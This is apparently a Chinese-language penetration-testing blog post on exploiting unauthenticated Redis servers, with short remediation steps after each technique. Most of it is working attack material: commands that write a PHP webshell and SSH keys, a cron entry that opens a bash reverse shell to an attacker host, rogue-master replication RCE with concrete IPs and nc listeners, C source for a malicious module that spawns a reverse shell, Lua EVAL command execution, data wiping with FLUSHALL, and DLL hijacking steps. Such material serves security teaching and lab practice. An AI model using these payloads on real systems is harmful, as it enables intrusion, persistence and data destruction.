Redis未授权利用

经常打的redis,经常催的redis🤔

redis未授权利用,确认其是否存活

1
2
3
redis-cli -h <Target-IP> -p <Target-Port>

info

可以说是最火热的姿势了,经常用到,这里我介绍几种我知道的

写入文件&&其他

这里分很多种,得知web根目录写入webshell,写入ssh密钥,写入定时任务反弹shell,还有获取(清空)数据

写入webshell

1
2
3
4
5
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php

SET payload "<?php @eval($_POST['cmd']);?>"
SAVE

写入ssh密钥

1
2
3
4
5
CONFIG SET dir /home/root/.ssh
CONFIG SET dbfilename authorized_keys

SET payload "ssh-rsa AAAAB3NzaC1yc2E...攻击者公钥"
SAVE

写入定时任务

1
2
3
4
5
6
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root

# 写入定时任务(每分钟反弹Shell)
SET payload "* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1"
SAVE

获取(清空)数据

1
2
3
4
5
6
# 删库
FLUSHALL

## 查看键值
KEYS *
GET <key>

修复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# linux
## 降权运行Redis
useradd -r redis && chown -R redis:redis /var/lib/redis

## 配置文件限制
CONFIG SET dir /var/lib/redis
CONFIG SET dbfilename dump.rdb

## 禁用高危命令
CONFIG SET rename-command FLUSHALL ""
CONFIG SET rename-command CONFIG ""
CONFIG SET rename-command SAVE ""

# windows
## 创建专用低权限用户
net user redisuser "P@ssw0rd" /add /expires:never
icacls "C:\Program Files\Redis" /grant redisuser:(OI)(CI)F

主从复制RCE

只要未授权访问+未禁用SLAVEOF

  • Redis 主从复制时,主节点(Master) 会将自己的数据(包括RDB文件)同步到 从节点(Slave)
  • 攻击者可以伪造一个 恶意主节点 ,强制目标 Redis(作为从节点)同步恶意数据(如.so文件、SSH密钥、WebShell等)。

也有可以一键利用的工具 https://github.com/n0b0dyCN/redis-rogue-server

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
## 编译工具
cd RedisModulesSDK/exp/
make


## 使用
python3 redis-rogue-server.py --rhost 39.98.116.123 --lhost 160.30.231.213

r
160.30.231.213
9999

nc -lvnp 9999

## 获取交互shell
script /dev/null

修复,直接禁用主从复制命令,以及限制只读权限

1
2
3
4
5
# 彻底禁用主从复制命令
CONFIG SET rename-command SLAVEOF ""

# 或限制为只读从节点(仍需密码)
replica-read-only yes

加载恶意模块RCE

Redis 4.0+((支持动态模块加载的版本)并且需攻击者能上传恶意.so文件)

这个打法和主从复制很类似,都是加载恶意so等模块进行利用。

创建恶意模块,注册可以反弹shell的恶意方法,再注册EVILCMD命令可触发恶意EvilCommand方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include "redismodule.h"
#include <stdlib.h>

int EvilCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    system("bash -i >& /dev/tcp/攻击者IP/端口 0>&1"); // 反弹Shell
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx) {
    RedisModule_CreateCommand(ctx, "EVILCMD", EvilCommand, "readonly", 0, 0, 0);
    return REDISMODULE_OK;
}

//gcc -shared -fPIC -o evilmodule.so evilmodule.c $(pkg-config --cflags --libs hiredis)

传入目标服务器之后进行加载(局限性还挺大)

1
2
3
MODULE LOAD /tmp/evilmodule.so

EVILCMD

当然也有现成的项目供我们使用 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

1
2
3
4
5
6
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand && make

## 想办法传上去
MODULE LOAD /tmp/exp.so
system.exec "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"

修复,禁用模块加载,以及重命名模块命令

1
2
3
4
5
# 禁用模块系统
CONFIG SET enable-module-command no

# 或重命名模块命令
CONFIG SET rename-command MODULE ""

使用Lua脚本RCE

  • Redis < 7.4.2
  • Redis < 7.2.7
  • Redis < 6.2.17
1
EVAL "os.execute('cmd.exe /C your_command_here')" 0

修复,暂时禁用EVAL还有就是升级版本

1
2
3
4
5
# 升级到安全版本:
# Redis >= 7.4.2 / >= 7.2.7 / >= 6.2.17

# 临时缓解(禁用EVAL)
CONFIG SET rename-command EVAL ""

Redis命令重命名滥用

只要未禁用CONFIG命令

1
CONFIG GET rename-command

如果返回为空说明未做限制,这里以禁用FLUSHALL为例子

1
CONFIG SET rename-command FLUSHALL "disabled_flushall"

我们可以重新命名config

1
2
3
4
5
6
CONFIG SET rename-command CONFIG "newconfig"

newconfig SET requirepass ""
# 恢复默认名
newconfig SET rename-command FLUSHALL ""
FLUSHALL

DLL劫持

上面说的那几点,都是针对于Linux的redis未授权服务,但是如果是windows的话,就不能那么来进行getshell了,这里使用到一个常见姿势,DLL劫持,通常而言windows适应的默认版本都是受影响的范围,这里以3.0.504为demo进行测试 Redis for Windows 3.0.504及以下

https://www.cnblogs.com/sup3rman/p/16803408.html

https://xz.aliyun.com/news/13892

主要参考这两篇文章的原理,利用的话,可以以 春秋云镜MagicRelay来进行实验

最开始的redis入口,即使第一次劫持失败了,也依旧可以继续尝试,但是一旦成功了一次,如果选择下线就不能成功第二次了,并且其中修改shellcode前,产生项目的命令必须为

1
2
3
python DLLHijacker.py C:\Windows\System32\dbghelp.dll

python DLLHijacker.py dbghelp.dll

并且是win11的dbghelp.dll,用来编译的工具

VS2022 :https://github.com/Byxs20/dll_hijack

VS2019 : https://github.com/kiwings/DLLHijacker

VS2022本来之前使用的先知文章的作者的项目,但是不知道为什么他下线了,喜欢藏是吧,幸好我存了,但是我懒得发GitHub,阿B就发了,里面也有完整的DLL和如何使用VS2022去替换shellcode之后处理的过程,先生成shellcode

img

img

打开项目属性,

1、设置运行库为多线程 (/MT 或 /MTd):

  • 在属性页面中,导航到:配置属性 > C/C++ > 代码生成。
  • 找到 “运行库”(Runtime Library)选项。
  • 如果当前是 Release 配置(截图中您已选择 Release x64),设置为 “多线程 (/MT)”。
  • 如果是 Debug 配置,设置为 “多线程调试 (/MTd)”。
  • 确保在顶部下拉菜单中选择正确的配置(Release 或 Debug)。

2、禁用安全检查 (/GS):

  • 仍在 配置属性 > C/C++ > 代码生成 页面。
  • 找到 “安全检查”(Buffer Security Check)选项。
  • 设置为 “禁用安全检查 (/GS-)”。

3、关闭生成清单:

  • 导航到:配置属性 > 链接器 > 清单文件。
  • 找到 “生成清单”(Generate Manifest)选项。
  • 设置为 “否 (/MANIFEST:NO)”。

img

img

应用,编译成dll文件即可

https://github.com/r35tart/RedisWriteFile

https://github.com/0671/RabR

这两个项目都可以主从复制,去覆盖redis的DLL,达到劫持的效果,在服务器上面运行

1
2
3
4
5
6
python3 RedisWriteFile.py --rhost 39.99.240.173 --rport 6379 --lhost 47.109.176.117 --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'


# redis链接执行命令加载DLL
redis-cli -h 39.99.240.173
bgsave

img

或者是用RabR,我感觉这个更方便,可以直接上线

1
2
3
python3 redis-attack.py -r 39.99.231.97 -L 47.109.176.117 -wf dbghelp.dll

h

img

img

修复,升级版本,禁用bgsave,以及权限控制

1
2
3
4
5
6
7
8
# 升级到最新Windows版Redis
# 或实施以下措施:

# 文件权限控制
icacls "C:\Program Files\Redis\*.dll" /deny Everyone:(M)

# 禁用BGSAVE命令
CONFIG SET rename-command BGSAVE ""

修复

既然是未授权那修复必然是以修复未授权为主,设置密码、限制外部访问、禁用危险命令、改为低权限用户执行、使用docker运行redis从而开启了隔离环境对服务器来说

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## 设置强密码
CONFIG SET requirepass "?6EFb|J5QZN)G)RX-hQ!"
bind 127.0.0.1

## 限制外部访问
sudo iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP

## 禁用危险命令
CONFIG SET rename-command CONFIG disabled_CONFIG
CONFIG SET rename-command FLUSHALL disabled_FLUSHALL

# 修改配置文件
## /etc/systemd/system/redis.service
[Service]
User=redis
Group=redis

## docker运行
docker run --name redis -d --restart=always -p 127.0.0.1:6379:6379 redis --requirepass "?6EFb|J5QZN)G)RX-hQ!"


## 重启redis
sudo systemctl restart redis

对于windows的话文件不一样,所以也写一份

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
## 设置强密码
CONFIG SET requirepass "?6EFb|J5QZN)G)RX-hQ!"

## 限制外部访问
# 在Windows防火墙中创建入站规则
New-NetFirewallRule -DisplayName "Allow Redis Local" -Direction Inbound -Protocol TCP -LocalPort 6379 -Action Allow -RemoteAddress 127.0.0.1
New-NetFirewallRule -DisplayName "Block Redis External" -Direction Inbound -Protocol TCP -LocalPort 6379 -Action Block -RemoteAddress Any

## 禁用危险命令
CONFIG SET rename-command CONFIG disabled_CONFIG
CONFIG SET rename-command FLUSHALL disabled_FLUSHALL

# 修改配置文件
## redis.windows.conf
requirepass "?6EFb|J5QZN)G)RX-hQ!"
protected-mode yes
bind 127.0.0.1

## 重启redis
# 使用命令行重新启动Redis服务
Stop-Service redis
Start-Service redis

## 使用Docker运行
docker run --name redis -d --restart=always -p 127.0.0.1:6379:6379 redis --requirepass "your_password"

小结

未授权可谓是最好打的洞了,这里仅仅谈及如何利用,漏洞原理的话我看了看,大部分网上都有的,大家去看大佬的文章就好了。

Licensed under CC BY-NC-SA 4.0